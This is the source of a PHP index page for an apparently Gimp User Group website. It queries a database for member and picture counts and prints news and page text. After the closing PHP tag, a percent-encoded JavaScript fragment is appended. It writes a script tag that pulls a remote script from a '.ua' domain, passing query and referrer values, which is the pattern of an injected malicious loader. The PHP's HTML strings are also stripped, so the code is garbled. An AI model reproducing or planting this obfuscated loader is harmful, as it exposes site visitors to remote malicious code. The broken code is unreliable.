include("main.inc"); require('polls/phpPollConfig.php3'); require('polls/phpPollUI.php3'); function shortNews() { global $NEWS_LINES; $news=fetchPage("news"); $links=fetchPage("links"); $ar=explode("
  • ",$news); if (sizeof($ar)>$NEWS_LINES) { $ar=array_slice($ar,0,$NEWS_LINES); $news=implode($ar,"
  • "). "\n
  • ... More news in the ". "news section."; } echo "
    ". $news."
    "; } $page = isset($_GET['page']) ? $_GET['page'] : "welcome"; if (isset($_GET['polls'])) $polls = $_GET['polls']; $pagetxt=fetchPage($page); doHeader(ucfirst((isset($_GET['page']) ? $page : "Gimp User Group")), "main", 0, (isset($_GET['page']) ? 0 : 1)); $db = new Db(); $db->query("select * from pictures"); $NUMPICS=$db->numRows(); $db->query("select * from users"); $MEMBERS=$db->numRows(); $db->query("select * from textures"); $TEXTURES=$db->numRows(); $db->query("select * from scripts"); $SCRIPTS=$db->numRows(); $pagetxt=str_replace("NUMPICS",$NUMPICS, str_replace("MEMBERS",$MEMBERS, str_replace("TEXTURES",$TEXTURES, str_replace("SCRIPTS",$SCRIPTS, $pagetxt)))); if (!isset($_GET['page'])) { $pow=fetchNewPow(); echo "
    ".$pagetxt."
    "; shortNews(); } else echo $pagetxt; doFooter(); ?> 9%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));